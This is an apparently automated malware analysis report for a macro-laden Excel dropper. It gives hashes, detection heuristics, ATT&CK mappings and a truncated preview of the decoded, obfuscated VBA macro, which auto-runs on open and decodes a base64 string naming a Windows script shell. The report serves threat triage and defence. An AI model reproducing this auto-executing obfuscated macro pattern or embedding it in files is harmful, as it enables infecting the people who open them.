Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fc95fa4f6b6bd83d…

MALICIOUS

Office (OOXML)

43.6 KB Created: 2018-03-09 07:22:02 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2019-05-16
MD5: 43adbefeea4c11f079bc62cea3db55a3 SHA-1: b4422eef13f8ac39762fc3a6036b2384a0aee7b4 SHA-256: fc95fa4f6b6bd83d5cd0226ed7b96ec79495c84a38f80cd6d7d5ffb64629b45c
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The file is an OOXML document containing a Workbook_Open VBA macro, which is a common technique for executing malicious code upon opening. The macro utilizes CreateObject, suggesting it's designed to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6468095-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6468095-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 26944 bytes
SHA-256: f49c0c2e29f2cbaeeae417d6fdd53381621159574dcaa601f2684e44812ebc0d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()


PucThKERYyFiDYrlnA.echEbyUYhpdfmYHodDnF
Dim XOetKIHDTfTENMYjLcZfxCJOgjwFcs As Worksheet
If PExQYPxnuTqRFCVYSazYdAeHHVFPNbMBbbPPGwn = IlXhGpgxHsHQVGDOOZqJDKiaTGpqdmFSWmqnFSXSbYyWGKqvXMBpQn Then
Dim kyDxOzzqTVmpuiPQIvCXieMLTJQtT As Worksheet
Dim RkQBjCsjIEYSkFcjQPH As Variant
End If
Dim fGDGnsEFmsdEjFXBkWnLgXgAqeExZjbCtIOMNecJewFreAoNNDsNdEaI As Worksheet
If ZCPJnHgCQaLarKoGuehkRoVqprjWrOZphFnLPTVWP = DbEoOVDPmSyWqq Then
Dim khYUvYKLCA As Worksheet
Dim VslWcqbILUNNRBaWgH As Variant
End If
Dim FvaSrPCdqyZyFsYDTWkgmv As Worksheet
If rqLWcWPWtZsCFHaDBWUzAcjNOVpOiEmz = VKEkGVmgOTFAFCmQ Then
Dim cPUNMnvOGyHHhBnonshvDpwfjokgWjHMiYlTjYniPpdI As Worksheet
Dim OfyNgQMNVrNmTpdYCOsXrvYIPUFOFzgOMoREpXAFWtqrLyzuuOfAxFQTG As Variant
End If
Dim pxLLxHWLzaeXYjeOmBxEhxRUKUqTgQGXyyzaotYlUfLXUXVfAlL As Worksheet
If ESOYsfqBdRCfiTHYajEascMjBmtznyLSuFCEkZHuysvUSAcENyvvw = LScGeXFmqOeGjkcRCoAcJcAgrRAJ Then
Dim pmoDPWjnayFCBIHdROiQAnKKu As Worksheet
Dim TmjSvONWwxEZbqNApqEjxb As Variant
End If
Dim BUWPdjjJBbe As Worksheet
If IvjAUfjrgELCEpXUQKwFbwslOwflemnvcvSvdzVLVrRWpRRZFOT = zFVDLDymXzxNtRQaIXcqQolk Then
Dim jfWvweGfPSopHsHsfNxMYdXFZr As Worksheet
Dim JCdXDKUlTggCptsRxacaSQQkL As Variant
End If


Dim CrYLGHQWEVECsPeVVYaLdXDTGfwcyYsltMASvZNYPf As Worksheet
If lXoPFLyExspYhfnEFaKoYfdSJfPLawKBvymgfrZldubzwUeVeq = UnObHFuVGZwneBhndjsHZNAYLdEdVoAtgjbXnUrhl Then
Dim JlApqQaSIqvdXRGmpPdBQzRYCGuZJAJrLVPcAjVNdLNyFQJSUlxE As Worksheet
Dim OgVJUbmjVAIIgERBBe As Variant
End If
Dim mFuPXFmTTmxbEYCFdeAGIYxlsdCERByHRqzsKyIP As Worksheet
If WBHzmuwkGbanBuWNIIXuDiBSnpJOYKvfWljHRxzxgRxpaLG = XUljBbOMozo Then
Dim MwkhLwgvQQKPwKIZNllMrbjmunatDIYvH As Worksheet
Dim clCNzFBJfupMEpZsBAaCnwkNxnYWnrIrPHUZGMOgkCMhtapx As Variant
End If
Dim BACHysUfApPLheVomywxVzmpmuSkkDTXyaVnpB As Worksheet
If sWmpYRxDyFhXuvdrcBNMVEZkuxVsMGJizkFZKgaVsivNCMIXtGx = TZcgnwBubvEqsvyYJpEhwasUmJMhhoxzFIqIW Then
Dim ERdIlzZnsDREnyipZBshHuekUMmxFkj As Worksheet
Dim FqBFXaYLaShtGudtpPKgHxaPKnsoYNchHTMNltKOApSPaAYqqS As Variant
End If
Dim wivDcIPmukijmNqzmmhPHwFwfRfLoKPByFQu As Worksheet
If mDrEyzzZfQDEYaOlIaKAczXKdDxkVglgwwMivdRIwfQPOamNvdtXuQRn = fgbuBPEyfWIcOfpfJCDwiIwCQjornNmfeZCOC Then
Dim WHhbSjsRJzQoNOsMUEWkYeRaMKRkcyocbdnuWVQZEkGk As Worksheet
Dim YDaztSJVgddspHOHSHpLLnMkaxqzoxgnXhBJkRqJo As Variant
End If
Dim SwxzvFOGIGwvvYlqqYvcKhixqVIFEXARgXsqPkfsctfqkrbIQT As Worksheet
If usvhelNAJaxJBlGfPXgubFtDAQCrNytzoldIWytGcPaFuSruk = EcEcWrozrhNjVm Then
Dim LhyUPHyJQeZRMfnIhYHHIVoWStpIeRfXHcPYwxcmmv As Worksheet
Dim LZDEfJLjzobOdpscCWSpezyBKjPP As Variant
End If


End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "PucThKERYyFiDYrlnA"
Dim JvxQkxSmbaLxczdbiVVwcnzzJCxaXbruVLYnltuijwmEEvjHdO As String
Dim cxkUGWvxGhzrPzjQcQapqobnNfAvuOTqxIyuKAECrnnMirgnUoTSgnXoVxHaWADsOJuGApGbM As String
Dim aGyDLNOQCIrzhhcthVMRmnksBmrzfeQpGaVOiYKpJICOEaHegbycrsrnWGCYWPkXsBsHMNLJLXHdlVoafMSEfoyOjhscWmSuYeWChARSPpRTkNBARcsKwgsEDeYe As String
Sub echEbyUYhpdfmYHodDnF()
aGyDLNOQCIrzhhcthVMRmnksBmrzfeQpGaVOiYKpJICOEaHegbycrsrnWGCYWPkXsBsHMNLJLXHdlVoafMSEfoyOjhscWmSuYeWChARSPpRTkNBARcsKwgsEDeYe = LjwVUMKPSNNgwvRrvsyZgUuGUwRMbCuwtwXPrGtQ("VwBzAGMAUgBJAHAAdAAuAFMASABFAEwATAA=")
Dim RwYagWogKjFMUcejtVnjQtgHtymmPCNcuzfTQirrvUVCIAjGApAzKhoYPRh As Worksheet
If ikCRHWdSUxLSKevovXeysPfmZ = BOSMLGEzBJHtDOgfiOJpWqVOtsAlSoSEQrFHKFIqGSIVovsJxTKAWwDLt Then
Dim DTTGThNqCcLIYUcGSiDhAZxzqnydShTntOHm As Worksheet
Dim pknluelSgBYzhuDOzdsdVTPfijXVJYPKNqQivSnVofSp As 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 72192 bytes
SHA-256: 39d42a99707f4bad5f4185330fe552e1ee650fb7d3c9e5bce8a1879357aaae31
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

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